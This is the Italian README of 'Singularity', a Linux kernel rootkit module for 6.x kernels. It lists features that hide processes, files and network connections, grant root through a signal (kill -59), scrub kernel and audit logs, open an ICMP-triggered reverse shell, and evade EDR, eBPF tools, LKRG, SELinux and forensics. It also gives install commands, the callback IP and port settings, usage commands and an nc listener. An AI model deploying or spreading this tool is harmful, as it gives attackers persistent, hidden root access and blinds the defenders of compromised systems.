Singularity - Rootkit stealthy del kernel Linux
"Diamo un po' di lavoro alla forensics?"
Questo progetto è stato ispirato da una donna molto speciale per me: Mocinha
Singularity è un potente rootkit Linux Kernel Module (LKM) progettato per i kernel moderni 6.x. Fornisce complete capacità di occultamento tramite l'hooking avanzato delle system call attraverso l'infrastruttura ftrace.
Articolo di ricerca completo (versione obsoleta): Singularity: un rootkit del kernel Linux boss finale
Caso di studio sull'evasione EDR: Bypassare Elastic EDR con Singularity
Video POC: Singularity vs strumenti di sicurezza eBPF: Singularity vs strumenti di sicurezza eBPF
Rompendo la sicurezza eBPF con gli hook di Singularity: Rompendo eBPF
Cos'è Singularity?
Singularity è un rootkit sofisticato che opera a livello di kernel, fornendo:
- Nascondere processi: Rende qualsiasi processo completamente invisibile al sistema
- Nascondere file e directory: Nasconde file utilizzando pattern di corrispondenza
- Stealth di rete: Nasconde connessioni TCP/UDP, porte e voci conntrack
- Escalation dei privilegi: Accesso root istantaneo basato su segnali
- Sanificazione dei log: Filtra i log del kernel e i journal di sistema in tempo reale
- Auto-occultamento: Si rimuove dalle liste dei moduli e dal monitoraggio di sistema
- Accesso remoto: Reverse shell attivata via ICMP con occultamento automatico
- Anti-rilevamento: Elude gli strumenti di sicurezza runtime basati su eBPF (Falco, Tracee), aggira Linux Kernel Runtime Guard (LKRG) e impedisce tentativi di bypass io_uring
- Evasione dell'audit: Scarta i messaggi di audit per i processi nascosti a livello netlink con tracciamento delle statistiche e filtraggio degli inode dei socket
- Evasione della memory forensics: Filtra /proc/kcore, /proc/kallsyms, /proc/vmallocinfo
- Filtraggio cgroup: Filtra i PID nascosti da cgroup.procs
- Evasione syslog: Aggancia do_syslog per filtrare l'accesso al ring buffer del kernel tramite klogctl()
- Evasione debugfs: Filtra l'output di strumenti come debugfs che leggono i dispositivi a blocchi raw
- Filtraggio conntrack: Nasconde le connessioni da /proc/net/nf_conntrack e dalle query netlink SOCK_DIAG/NETFILTER
- Evasione SELinux: Bypass automatico della modalità enforcing di SELinux al trigger ICMP
- Bypass LKRG: Elude i meccanismi di rilevamento di Linux Kernel Runtime Guard
- Bypass della sicurezza eBPF: Nasconde i processi dagli strumenti di sicurezza runtime basati su eBPF (Falco, Tracee)
Caratteristiche
- Elevazione dei privilegi basata su segnali (kill -59)
- Occultamento completo dei processi da /proc e dagli strumenti di monitoraggio
- Occultamento del filesystem basato su pattern per file e directory
- Occultamento delle connessioni di rete da netstat, ss, conntrack e analizzatori di pacchetti
- Filtraggio netlink avanzato (SOCK_DIAG, messaggi NETFILTER/conntrack)
- Filtraggio in tempo reale dei log del kernel per dmesg, journalctl e klogctl
- Auto-occultamento del modulo da lsmod e /sys/module
- Normalizzazione automatica dei flag taint del kernel
- Filtraggio dei dati BPF per prevenire il rilevamento basato su eBPF
- Protezione io_uring contro bypass di I/O asincrono
- Mascheramento dei log per i messaggi del kernel e i log di sistema
- Evasione dei rilevatori standard di rootkit (unhide, chkrootkit, rkhunter)
- Tracciamento e occultamento automatici dei processi figli tramite hook dei tracepoint
- Supporto multi-architettura (x64 + ia32)
- Filtraggio a livello di pacchetto di rete con protezione dei raw socket
- Protezione contro tutte le varianti di I/O dei file (read, write, splice, sendfile, tee, copy_file_range)
- Filtraggio dei messaggi di audit a livello netlink con tracciamento delle statistiche per eludere il rilevamento di auditd
- Tracciamento degli inode dei socket per un occultamento di rete completo
- Filtraggio dei PID cgroup per prevenire il rilevamento tramite
/sys/fs/cgroup/*/cgroup.procs
- Blocco netlink di TaskStats per prevenire l'enumerazione dei PID
- Filtraggio di /proc/kcore per eludere gli strumenti di memory forensics (Volatility, crash, gdb)
- Hook di do_syslog per filtrare klogctl() e prevenire perdite dal ring buffer del kernel
- Filtraggio dell'output dei dispositivi a blocchi per eludere debugfs e strumenti simili di disk forensics
- Filtraggio dell'output di journalctl -k tramite hook di write
- Capacità di bypass della modalità enforcing di SELinux per le shell attivate via ICMP
- Bypass dei controlli di integrità LKRG per i processi nascosti
- Occultamento degli eventi Falco tramite ringbuffer BPF e intercettazione degli eventi perf
Installazione
Prerequisiti
- Kernel Linux 6.x
- Header del kernel per il kernel in esecuzione
- GCC e Make
- Accesso root
Installazione rapida```bash
cd /dev/shm
git clone https://github.com/MatheuZSecurity/Singularity
cd Singularity
sudo bash setup.sh
cd ..
Ecco fatto. Il modulo automaticamente:
- Si nasconde da lsmod, /proc/modules, /sys/module
- Pulisce i flag di taint del kernel
- Filtra le stringhe sensibili da dmesg, journalctl -k, klogctl
- Inizia a proteggere i tuoi file e processi nascosti
### Note Importanti
**Il modulo si nasconde automaticamente dopo il caricamento**
**Non è presente alcuna funzione di scaricamento: è necessario riavviare per rimuoverlo**
**Testalo prima in una VM: non può essere rimosso senza riavviare**
## Configurazione
### Imposta IP e Porta del Server
**Modifica `include/core.h`:**```c
#define YOUR_SRV_IP "192.168.1.100" // Change this to your server IP
#define YOUR_SRV_IPv6 { .s6_addr = { [15] = 1 } } // IPv6 if needed
Modifica modules/icmp.c:```c
#define SRV_PORT "8081" // Change this to your desired port
**Modifica `modules/bpf_hook.c`:**```c
#define HIDDEN_PORT 8081 // Must match SRV_PORT
Modifica modules/hiding_tcp.c:```c
#define PORT 8081 // Must match SRV_PORT
**Importante**: Tutte le definizioni delle porte devono corrispondere per un corretto occultamento di rete e la funzionalità di reverse shell ICMP.
## Utilizzo
### Nascondere i processi```bash
# Hide current shell
kill -59 $$
# Hide specific process
kill -59 <PID>
Process will be invisible to ps, top, htop, /proc, and all monitoring tools. All child processes are automatically tracked and hidden.
Hide Files & Directories
Files matching your configured patterns are automatically hidden:```bash
mkdir singularity
echo "secret" > singularity/data.txt
Invisible to ls, find, locate
ls -la | grep singularity
(no output)
But you can still access it
cat singularity/data.txt
secret
cd is blocked for security
cd singularity
bash: cd: singularity: No such file or directory
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/10489/13713f834a730a67b38b024c092d77eb111a7d38e2fa0ac16a8f36ffd3506f90.png">
</p>
### Diventa root
**Metodo basato sui segnali:**```bash
kill -59 $$
id # uid=0(root)
Nascondi le connessioni di rete
Le connessioni sulla porta configurata (predefinita: 8081) vengono nascoste automaticamente:```bash
nc -lvnp 8081